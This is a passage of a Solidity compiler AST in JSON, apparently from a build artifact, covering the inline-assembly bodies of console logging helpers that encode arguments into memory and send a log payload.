ifier","src":"289027:6:22"},"nativeSrc":"289027:16:22","nodeType":"YulFunctionCall","src":"289027:16:22"},"nativeSrc":"289027:16:22","nodeType":"YulExpressionStatement","src":"289027:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"289063:4:22","nodeType":"YulLiteral","src":"289063:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"289069:2:22","nodeType":"YulIdentifier","src":"289069:2:22"}],"functionName":{"name":"mstore","nativeSrc":"289056:6:22","nodeType":"YulIdentifier","src":"289056:6:22"},"nativeSrc":"289056:16:22","nodeType":"YulFunctionCall","src":"289056:16:22"},"nativeSrc":"289056:16:22","nodeType":"YulExpressionStatement","src":"289056:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43308,"isOffset":false,"isSlot":false,"src":"288895:2:22","valueSize":1},{"declaration":43311,"isOffset":false,"isSlot":false,"src":"288924:2:22","valueSize":1},{"declaration":43314,"isOffset":false,"isSlot":false,"src":"288953:2:22","valueSize":1},{"declaration":43317,"isOffset":false,"isSlot":false,"src":"288982:2:22","valueSize":1},{"declaration":43320,"isOffset":false,"isSlot":false,"src":"289011:2:22","valueSize":1},{"declaration":43323,"isOffset":false,"isSlot":false,"src":"289040:2:22","valueSize":1},{"declaration":43326,"isOffset":false,"isSlot":false,"src":"289069:2:22","valueSize":1}],"id":43334,"nodeType":"InlineAssembly","src":"288859:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"287763:3:22","parameters":{"id":43305,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43298,"mutability":"mutable","name":"p0","nameLocation":"287775:2:22","nodeType":"VariableDeclaration","scope":43336,"src":"287767:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43297,"name":"uint256","nodeType":"ElementaryTypeName","src":"287767:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":43300,"mutability":"mutable","name":"p1","nameLocation":"287787:2:22","nodeType":"VariableDeclaration","scope":43336,"src":"287779:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43299,"name":"bytes32","nodeType":"ElementaryTypeName","src":"287779:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43302,"mutability":"mutable","name":"p2","nameLocation":"287796:2:22","nodeType":"VariableDeclaration","scope":43336,"src":"287791:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":43301,"name":"bool","nodeType":"ElementaryTypeName","src":"287791:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":43304,"mutability":"mutable","name":"p3","nameLocation":"287808:2:22","nodeType":"VariableDeclaration","scope":43336,"src":"287800:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43303,"name":"uint256","nodeType":"ElementaryTypeName","src":"287800:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"287766:45:22"},"returnParameters":{"id":43306,"nodeType":"ParameterList","parameters":[],"src":"287826:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43382,"nodeType":"FunctionDefinition","src":"289094:1530:22","nodes":[],"body":{"id":43381,"nodeType":"Block","src":"289166:1458:22","nodes":[],"statements":[{"assignments":[43348],"declarations":[{"constant":false,"id":43348,"mutability":"mutable","name":"m0","nameLocation":"289184:2:22","nodeType":"VariableDeclaration","scope":43381,"src":"289176:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43347,"name":"bytes32","nodeType":"ElementaryTypeName","src":"289176:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43349,"nodeType":"VariableDeclarationStatement","src":"289176:10:22"},{"assignments":[43351],"declarations":[{"constant":false,"id":43351,"mutability":"mutable","name":"m1","nameLocation":"289204:2:22","nodeType":"VariableDeclaration","scope":43381,"src":"289196:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43350,"name":"bytes32","nodeType":"ElementaryTypeName","src":"289196:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43352,"nodeType":"VariableDeclarationStatement","src":"289196:10:22"},{"assignments":[43354],"declarations":[{"constant":false,"id":43354,"mutability":"mutable","name":"m2","nameLocation":"289224:2:22","nodeType":"VariableDeclaration","scope":43381,"src":"289216:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43353,"name":"bytes32","nodeType":"ElementaryTypeName","src":"289216:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43355,"nodeType":"VariableDeclarationStatement","src":"289216:10:22"},{"assignments":[43357],"declarations":[{"constant":false,"id":43357,"mutability":"mutable","name":"m3","nameLocation":"289244:2:22","nodeType":"VariableDeclaration","scope":43381,"src":"289236:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43356,"name":"bytes32","nodeType":"ElementaryTypeName","src":"289236:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43358,"nodeType":"VariableDeclarationStatement","src":"289236:10:22"},{"assignments":[43360],"declarations":[{"constant":false,"id":43360,"mutability":"mutable","name":"m4","nameLocation":"289264:2:22","nodeType":"VariableDeclaration","scope":43381,"src":"289256:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43359,"name":"bytes32","nodeType":"ElementaryTypeName","src":"289256:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43361,"nodeType":"VariableDeclarationStatement","src":"289256:10:22"},{"assignments":[43363],"declarations":[{"constant":false,"id":43363,"mutability":"mutable","name":"m5","nameLocation":"289284:2:22","nodeType":"VariableDeclaration","scope":43381,"src":"289276:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43362,"name":"bytes32","nodeType":"ElementaryTypeName","src":"289276:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43364,"nodeType":"VariableDeclarationStatement","src":"289276:10:22"},{"assignments":[43366],"declarations":[{"constant":false,"id":43366,"mutability":"mutable","name":"m6","nameLocation":"289304:2:22","nodeType":"VariableDeclaration","scope":43381,"src":"289296:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43365,"name":"bytes32","nodeType":"ElementaryTypeName","src":"289296:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43367,"nodeType":"VariableDeclarationStatement","src":"289296:10:22"},{"assignments":[43369],"declarations":[{"constant":false,"id":43369,"mutability":"mutable","name":"m7","nameLocation":"289324:2:22","nodeType":"VariableDeclaration","scope":43381,"src":"289316:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43368,"name":"bytes32","nodeType":"ElementaryTypeName","src":"289316:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43370,"nodeType":"VariableDeclarationStatement","src":"289316:10:22"},{"assignments":[43372],"declarations":[{"constant":false,"id":43372,"mutability":"mutable","name":"m8","nameLocation":"289344:2:22","nodeType":"VariableDeclaration","scope":43381,"src":"289336:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43371,"name":"bytes32","nodeType":"ElementaryTypeName","src":"289336:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43373,"nodeType":"VariableDeclarationStatement","src":"289336:10:22"},{"AST":{"nativeSrc":"289365:924:22","nodeType":"YulBlock","src":"289365:924:22","statements":[{"body":{"nativeSrc":"289408:313:22","nodeType":"YulBlock","src":"289408:313:22","statements":[{"nativeSrc":"289426:15:22","nodeType":"YulVariableDeclaration","src":"289426:15:22","value":{"kind":"number","nativeSrc":"289440:1:22","nodeType":"YulLiteral","src":"289440:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"289430:6:22","nodeType":"YulTypedName","src":"289430:6:22","type":""}]},{"body":{"nativeSrc":"289511:40:22","nodeType":"YulBlock","src":"289511:40:22","statements":[{"body":{"nativeSrc":"289540:9:22","nodeType":"YulBlock","src":"289540:9:22","statements":[{"nativeSrc":"289542:5:22","nodeType":"YulBreak","src":"289542:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"289528:6:22","nodeType":"YulIdentifier","src":"289528:6:22"},{"name":"w","nativeSrc":"289536:1:22","nodeType":"YulIdentifier","src":"289536:1:22"}],"functionName":{"name":"byte","nativeSrc":"289523:4:22","nodeType":"YulIdentifier","src":"289523:4:22"},"nativeSrc":"289523:15:22","nodeType":"YulFunctionCall","src":"289523:15:22"}],"functionName":{"name":"iszero","nativeSrc":"289516:6:22","nodeType":"YulIdentifier","src":"289516:6:22"},"nativeSrc":"289516:23:22","nodeType":"YulFunctionCall","src":"289516:23:22"},"nativeSrc":"289513:36:22","nodeType":"YulIf","src":"289513:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"289468:6:22","nodeType":"YulIdentifier","src":"289468:6:22"},{"kind":"number","nativeSrc":"289476:4:22","nodeType":"YulLiteral","src":"289476:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"289465:2:22","nodeType":"YulIdentifier","src":"289465:2:22"},"nativeSrc":"289465:16:22","nodeType":"YulFunctionCall","src":"289465:16:22"},"nativeSrc":"289458:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"289482:28:22","nodeType":"YulBlock","src":"289482:28:22","statements":[{"nativeSrc":"289484:24:22","nodeType":"YulAssignment","src":"289484:24:22","value":{"arguments":[{"name":"length","nativeSrc":"289498:6:22","nodeType":"YulIdentifier","src":"289498:6:22"},{"kind":"number","nativeSrc":"289506:1:22","nodeType":"YulLiteral","src":"289506:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"289494:3:22","nodeType":"YulIdentifier","src":"289494:3:22"},"nativeSrc":"289494:14:22","nodeType":"YulFunctionCall","src":"289494:14:22"},"variableNames":[{"name":"length","nativeSrc":"289484:6:22","nodeType":"YulIdentifier","src":"289484:6:22"}]}]},"pre":{"nativeSrc":"289462:2:22","nodeType":"YulBlock","src":"289462:2:22","statements":[]},"src":"289458:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"289575:3:22","nodeType":"YulIdentifier","src":"289575:3:22"},{"name":"length","nativeSrc":"289580:6:22","nodeType":"YulIdentifier","src":"289580:6:22"}],"functionName":{"name":"mstore","nativeSrc":"289568:6:22","nodeType":"YulIdentifier","src":"289568:6:22"},"nativeSrc":"289568:19:22","nodeType":"YulFunctionCall","src":"289568:19:22"},"nativeSrc":"289568:19:22","nodeType":"YulExpressionStatement","src":"289568:19:22"},{"nativeSrc":"289604:37:22","nodeType":"YulVariableDeclaration","src":"289604:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"289621:3:22","nodeType":"YulLiteral","src":"289621:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"289630:1:22","nodeType":"YulLiteral","src":"289630:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"289633:6:22","nodeType":"YulIdentifier","src":"289633:6:22"}],"functionName":{"name":"shl","nativeSrc":"289626:3:22","nodeType":"YulIdentifier","src":"289626:3:22"},"nativeSrc":"289626:14:22","nodeType":"YulFunctionCall","src":"289626:14:22"}],"functionName":{"name":"sub","nativeSrc":"289617:3:22","nodeType":"YulIdentifier","src":"289617:3:22"},"nativeSrc":"289617:24:22","nodeType":"YulFunctionCall","src":"289617:24:22"},"variables":[{"name":"shift","nativeSrc":"289608:5:22","nodeType":"YulTypedName","src":"289608:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"289669:3:22","nodeType":"YulIdentifier","src":"289669:3:22"},{"kind":"number","nativeSrc":"289674:4:22","nodeType":"YulLiteral","src":"289674:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"289665:3:22","nodeType":"YulIdentifier","src":"289665:3:22"},"nativeSrc":"289665:14:22","nodeType":"YulFunctionCall","src":"289665:14:22"},{"arguments":[{"name":"shift","nativeSrc":"289685:5:22","nodeType":"YulIdentifier","src":"289685:5:22"},{"arguments":[{"name":"shift","nativeSrc":"289696:5:22","nodeType":"YulIdentifier","src":"289696:5:22"},{"name":"w","nativeSrc":"289703:1:22","nodeType":"YulIdentifier","src":"289703:1:22"}],"functionName":{"name":"shr","nativeSrc":"289692:3:22","nodeType":"YulIdentifier","src":"289692:3:22"},"nativeSrc":"289692:13:22","nodeType":"YulFunctionCall","src":"289692:13:22"}],"functionName":{"name":"shl","nativeSrc":"289681:3:22","nodeType":"YulIdentifier","src":"289681:3:22"},"nativeSrc":"289681:25:22","nodeType":"YulFunctionCall","src":"289681:25:22"}],"functionName":{"name":"mstore","nativeSrc":"289658:6:22","nodeType":"YulIdentifier","src":"289658:6:22"},"nativeSrc":"289658:49:22","nodeType":"YulFunctionCall","src":"289658:49:22"},"nativeSrc":"289658:49:22","nodeType":"YulExpressionStatement","src":"289658:49:22"}]},"name":"writeString","nativeSrc":"289379:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"289400:3:22","nodeType":"YulTypedName","src":"289400:3:22","type":""},{"name":"w","nativeSrc":"289405:1:22","nodeType":"YulTypedName","src":"289405:1:22","type":""}],"src":"289379:342:22"},{"nativeSrc":"289734:17:22","nodeType":"YulAssignment","src":"289734:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"289746:4:22","nodeType":"YulLiteral","src":"289746:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"289740:5:22","nodeType":"YulIdentifier","src":"289740:5:22"},"nativeSrc":"289740:11:22","nodeType":"YulFunctionCall","src":"289740:11:22"},"variableNames":[{"name":"m0","nativeSrc":"289734:2:22","nodeType":"YulIdentifier","src":"289734:2:22"}]},{"nativeSrc":"289764:17:22","nodeType":"YulAssignment","src":"289764:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"289776:4:22","nodeType":"YulLiteral","src":"289776:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"289770:5:22","nodeType":"YulIdentifier","src":"289770:5:22"},"nativeSrc":"289770:11:22","nodeType":"YulFunctionCall","src":"289770:11:22"},"variableNames":[{"name":"m1","nativeSrc":"289764:2:22","nodeType":"YulIdentifier","src":"289764:2:22"}]},{"nativeSrc":"289794:17:22","nodeType":"YulAssignment","src":"289794:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"289806:4:22","nodeType":"YulLiteral","src":"289806:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"289800:5:22","nodeType":"YulIdentifier","src":"289800:5:22"},"nativeSrc":"289800:11:22","nodeType":"YulFunctionCall","src":"289800:11:22"},"variableNames":[{"name":"m2","nativeSrc":"289794:2:22","nodeType":"YulIdentifier","src":"289794:2:22"}]},{"nativeSrc":"289824:17:22","nodeType":"YulAssignment","src":"289824:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"289836:4:22","nodeType":"YulLiteral","src":"289836:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"289830:5:22","nodeType":"YulIdentifier","src":"289830:5:22"},"nativeSrc":"289830:11:22","nodeType":"YulFunctionCall","src":"289830:11:22"},"variableNames":[{"name":"m3","nativeSrc":"289824:2:22","nodeType":"YulIdentifier","src":"289824:2:22"}]},{"nativeSrc":"289854:17:22","nodeType":"YulAssignment","src":"289854:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"289866:4:22","nodeType":"YulLiteral","src":"289866:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"289860:5:22","nodeType":"YulIdentifier","src":"289860:5:22"},"nativeSrc":"289860:11:22","nodeType":"YulFunctionCall","src":"289860:11:22"},"variableNames":[{"name":"m4","nativeSrc":"289854:2:22","nodeType":"YulIdentifier","src":"289854:2:22"}]},{"nativeSrc":"289884:17:22","nodeType":"YulAssignment","src":"289884:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"289896:4:22","nodeType":"YulLiteral","src":"289896:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"289890:5:22","nodeType":"YulIdentifier","src":"289890:5:22"},"nativeSrc":"289890:11:22","nodeType":"YulFunctionCall","src":"289890:11:22"},"variableNames":[{"name":"m5","nativeSrc":"289884:2:22","nodeType":"YulIdentifier","src":"289884:2:22"}]},{"nativeSrc":"289914:17:22","nodeType":"YulAssignment","src":"289914:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"289926:4:22","nodeType":"YulLiteral","src":"289926:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"289920:5:22","nodeType":"YulIdentifier","src":"289920:5:22"},"nativeSrc":"289920:11:22","nodeType":"YulFunctionCall","src":"289920:11:22"},"variableNames":[{"name":"m6","nativeSrc":"289914:2:22","nodeType":"YulIdentifier","src":"289914:2:22"}]},{"nativeSrc":"289944:17:22","nodeType":"YulAssignment","src":"289944:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"289956:4:22","nodeType":"YulLiteral","src":"289956:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"289950:5:22","nodeType":"YulIdentifier","src":"289950:5:22"},"nativeSrc":"289950:11:22","nodeType":"YulFunctionCall","src":"289950:11:22"},"variableNames":[{"name":"m7","nativeSrc":"289944:2:22","nodeType":"YulIdentifier","src":"289944:2:22"}]},{"nativeSrc":"289974:18:22","nodeType":"YulAssignment","src":"289974:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"289986:5:22","nodeType":"YulLiteral","src":"289986:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"289980:5:22","nodeType":"YulIdentifier","src":"289980:5:22"},"nativeSrc":"289980:12:22","nodeType":"YulFunctionCall","src":"289980:12:22"},"variableNames":[{"name":"m8","nativeSrc":"289974:2:22","nodeType":"YulIdentifier","src":"289974:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"290074:4:22","nodeType":"YulLiteral","src":"290074:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"290080:10:22","nodeType":"YulLiteral","src":"290080:10:22","type":"","value":"0xd2d423cd"}],"functionName":{"name":"mstore","nativeSrc":"290067:6:22","nodeType":"YulIdentifier","src":"290067:6:22"},"nativeSrc":"290067:24:22","nodeType":"YulFunctionCall","src":"290067:24:22"},"nativeSrc":"290067:24:22","nodeType":"YulExpressionStatement","src":"290067:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"290111:4:22","nodeType":"YulLiteral","src":"290111:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"290117:2:22","nodeType":"YulIdentifier","src":"290117:2:22"}],"functionName":{"name":"mstore","nativeSrc":"290104:6:22","nodeType":"YulIdentifier","src":"290104:6:22"},"nativeSrc":"290104:16:22","nodeType":"YulFunctionCall","src":"290104:16:22"},"nativeSrc":"290104:16:22","nodeType":"YulExpressionStatement","src":"290104:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"290140:4:22","nodeType":"YulLiteral","src":"290140:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"290146:4:22","nodeType":"YulLiteral","src":"290146:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"290133:6:22","nodeType":"YulIdentifier","src":"290133:6:22"},"nativeSrc":"290133:18:22","nodeType":"YulFunctionCall","src":"290133:18:22"},"nativeSrc":"290133:18:22","nodeType":"YulExpressionStatement","src":"290133:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"290171:4:22","nodeType":"YulLiteral","src":"290171:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"290177:2:22","nodeType":"YulIdentifier","src":"290177:2:22"}],"functionName":{"name":"mstore","nativeSrc":"290164:6:22","nodeType":"YulIdentifier","src":"290164:6:22"},"nativeSrc":"290164:16:22","nodeType":"YulFunctionCall","src":"290164:16:22"},"nativeSrc":"290164:16:22","nodeType":"YulExpressionStatement","src":"290164:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"290200:4:22","nodeType":"YulLiteral","src":"290200:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"290206:4:22","nodeType":"YulLiteral","src":"290206:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"290193:6:22","nodeType":"YulIdentifier","src":"290193:6:22"},"nativeSrc":"290193:18:22","nodeType":"YulFunctionCall","src":"290193:18:22"},"nativeSrc":"290193:18:22","nodeType":"YulExpressionStatement","src":"290193:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"290236:4:22","nodeType":"YulLiteral","src":"290236:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"290242:2:22","nodeType":"YulIdentifier","src":"290242:2:22"}],"functionName":{"name":"writeString","nativeSrc":"290224:11:22","nodeType":"YulIdentifier","src":"290224:11:22"},"nativeSrc":"290224:21:22","nodeType":"YulFunctionCall","src":"290224:21:22"},"nativeSrc":"290224:21:22","nodeType":"YulExpressionStatement","src":"290224:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"290270:4:22","nodeType":"YulLiteral","src":"290270:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"290276:2:22","nodeType":"YulIdentifier","src":"290276:2:22"}],"functionName":{"name":"writeString","nativeSrc":"290258:11:22","nodeType":"YulIdentifier","src":"290258:11:22"},"nativeSrc":"290258:21:22","nodeType":"YulFunctionCall","src":"290258:21:22"},"nativeSrc":"290258:21:22","nodeType":"YulExpressionStatement","src":"290258:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43348,"isOffset":false,"isSlot":false,"src":"289734:2:22","valueSize":1},{"declaration":43351,"isOffset":false,"isSlot":false,"src":"289764:2:22","valueSize":1},{"declaration":43354,"isOffset":false,"isSlot":false,"src":"289794:2:22","valueSize":1},{"declaration":43357,"isOffset":false,"isSlot":false,"src":"289824:2:22","valueSize":1},{"declaration":43360,"isOffset":false,"isSlot":false,"src":"289854:2:22","valueSize":1},{"declaration":43363,"isOffset":false,"isSlot":false,"src":"289884:2:22","valueSize":1},{"declaration":43366,"isOffset":false,"isSlot":false,"src":"289914:2:22","valueSize":1},{"declaration":43369,"isOffset":false,"isSlot":false,"src":"289944:2:22","valueSize":1},{"declaration":43372,"isOffset":false,"isSlot":false,"src":"289974:2:22","valueSize":1},{"declaration":43338,"isOffset":false,"isSlot":false,"src":"290117:2:22","valueSize":1},{"declaration":43340,"isOffset":false,"isSlot":false,"src":"290242:2:22","valueSize":1},{"declaration":43342,"isOffset":false,"isSlot":false,"src":"290177:2:22","valueSize":1},{"declaration":43344,"isOffset":false,"isSlot":false,"src":"290276:2:22","valueSize":1}],"id":43374,"nodeType":"InlineAssembly","src":"289356:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43376,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"290314:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":43377,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"290320:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":43375,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"290298:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43378,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"290298:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43379,"nodeType":"ExpressionStatement","src":"290298:28:22"},{"AST":{"nativeSrc":"290345:273:22","nodeType":"YulBlock","src":"290345:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"290366:4:22","nodeType":"YulLiteral","src":"290366:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"290372:2:22","nodeType":"YulIdentifier","src":"290372:2:22"}],"functionName":{"name":"mstore","nativeSrc":"290359:6:22","nodeType":"YulIdentifier","src":"290359:6:22"},"nativeSrc":"290359:16:22","nodeType":"YulFunctionCall","src":"290359:16:22"},"nativeSrc":"290359:16:22","nodeType":"YulExpressionStatement","src":"290359:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"290395:4:22","nodeType":"YulLiteral","src":"290395:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"290401:2:22","nodeType":"YulIdentifier","src":"290401:2:22"}],"functionName":{"name":"mstore","nativeSrc":"290388:6:22","nodeType":"YulIdentifier","src":"290388:6:22"},"nativeSrc":"290388:16:22","nodeType":"YulFunctionCall","src":"290388:16:22"},"nativeSrc":"290388:16:22","nodeType":"YulExpressionStatement","src":"290388:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"290424:4:22","nodeType":"YulLiteral","src":"290424:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"290430:2:22","nodeType":"YulIdentifier","src":"290430:2:22"}],"functionName":{"name":"mstore","nativeSrc":"290417:6:22","nodeType":"YulIdentifier","src":"290417:6:22"},"nativeSrc":"290417:16:22","nodeType":"YulFunctionCall","src":"290417:16:22"},"nativeSrc":"290417:16:22","nodeType":"YulExpressionStatement","src":"290417:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"290453:4:22","nodeType":"YulLiteral","src":"290453:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"290459:2:22","nodeType":"YulIdentifier","src":"290459:2:22"}],"functionName":{"name":"mstore","nativeSrc":"290446:6:22","nodeType":"YulIdentifier","src":"290446:6:22"},"nativeSrc":"290446:16:22","nodeType":"YulFunctionCall","src":"290446:16:22"},"nativeSrc":"290446:16:22","nodeType":"YulExpressionStatement","src":"290446:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"290482:4:22","nodeType":"YulLiteral","src":"290482:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"290488:2:22","nodeType":"YulIdentifier","src":"290488:2:22"}],"functionName":{"name":"mstore","nativeSrc":"290475:6:22","nodeType":"YulIdentifier","src":"290475:6:22"},"nativeSrc":"290475:16:22","nodeType":"YulFunctionCall","src":"290475:16:22"},"nativeSrc":"290475:16:22","nodeType":"YulExpressionStatement","src":"290475:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"290511:4:22","nodeType":"YulLiteral","src":"290511:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"290517:2:22","nodeType":"YulIdentifier","src":"290517:2:22"}],"functionName":{"name":"mstore","nativeSrc":"290504:6:22","nodeType":"YulIdentifier","src":"290504:6:22"},"nativeSrc":"290504:16:22","nodeType":"YulFunctionCall","src":"290504:16:22"},"nativeSrc":"290504:16:22","nodeType":"YulExpressionStatement","src":"290504:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"290540:4:22","nodeType":"YulLiteral","src":"290540:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"290546:2:22","nodeType":"YulIdentifier","src":"290546:2:22"}],"functionName":{"name":"mstore","nativeSrc":"290533:6:22","nodeType":"YulIdentifier","src":"290533:6:22"},"nativeSrc":"290533:16:22","nodeType":"YulFunctionCall","src":"290533:16:22"},"nativeSrc":"290533:16:22","nodeType":"YulExpressionStatement","src":"290533:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"290569:4:22","nodeType":"YulLiteral","src":"290569:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"290575:2:22","nodeType":"YulIdentifier","src":"290575:2:22"}],"functionName":{"name":"mstore","nativeSrc":"290562:6:22","nodeType":"YulIdentifier","src":"290562:6:22"},"nativeSrc":"290562:16:22","nodeType":"YulFunctionCall","src":"290562:16:22"},"nativeSrc":"290562:16:22","nodeType":"YulExpressionStatement","src":"290562:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"290598:5:22","nodeType":"YulLiteral","src":"290598:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"290605:2:22","nodeType":"YulIdentifier","src":"290605:2